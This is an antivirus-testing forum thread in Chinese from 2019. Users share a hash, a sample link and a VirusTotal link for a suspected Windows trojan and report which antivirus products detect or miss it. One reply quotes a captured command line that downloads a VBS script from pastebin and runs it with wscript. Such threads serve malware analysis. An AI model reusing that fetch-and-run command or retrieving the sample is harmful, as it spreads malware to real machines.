5a89807b98869bdae21ca61587c858d698ab8c3342062c58de30eb18e06c878a

显示全部楼层 · 发表于 2019-7-13 14:28:55

https://c-t.work/s/ecfe8c414e9640

https://www.virustotal.com/gui/f ... 8e06c878a/detection

卡巴
PDM:Trojan.Win32.Generic

显示全部楼层 · 发表于 2019-7-13 14:33:25

本帖最后由 2512975065 于 2019-7-13 14:35 编辑

火绒智量均不报，运行后出现一次Rundll已停止工作，然后，emmmmmmmmmm
补充：

显示全部楼层 · 发表于 2019-7-13 14:38:11

Avast Miss

显示全部楼层 · 发表于 2019-7-13 14:42:26

本帖最后由 2512975065 于 2019-7-13 14:43 编辑

捕获到一条CMD请求：cmdline:'C:\Windows\system32\cmd.exe /c rundll32 C:\Users\public\lib32.dll,main (New-Object System.Net.WebClient).DownloadFile('https://pastebin.com/raw/V3zLpb4z','%temp%\evilX.vbs') && wscript %temp%\evilX.vbs https://pastebin.com/raw/ZppC58rN'
看起来是病毒（playjoke类型的）的可能性有点大

显示全部楼层 · 发表于 2019-7-13 14:48:24

FSP

显示全部楼层 · 发表于 2019-7-13 15:11:04

威胁名称: SONAR.Heuristic.170

显示全部楼层 · 发表于 2019-7-13 15:19:37

现在智量已经入库了

显示全部楼层 · 发表于 2019-7-13 15:40:48

刘丽

显示全部楼层 · 发表于 2019-7-13 19:05:45

BD miss

显示全部楼层 · 发表于 2019-7-13 19:45:19

360卫士杀

[其他相关] 5a89807b98869bdae21ca61587c858d698ab8c3342062c58de30eb18e06c878a

评分

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源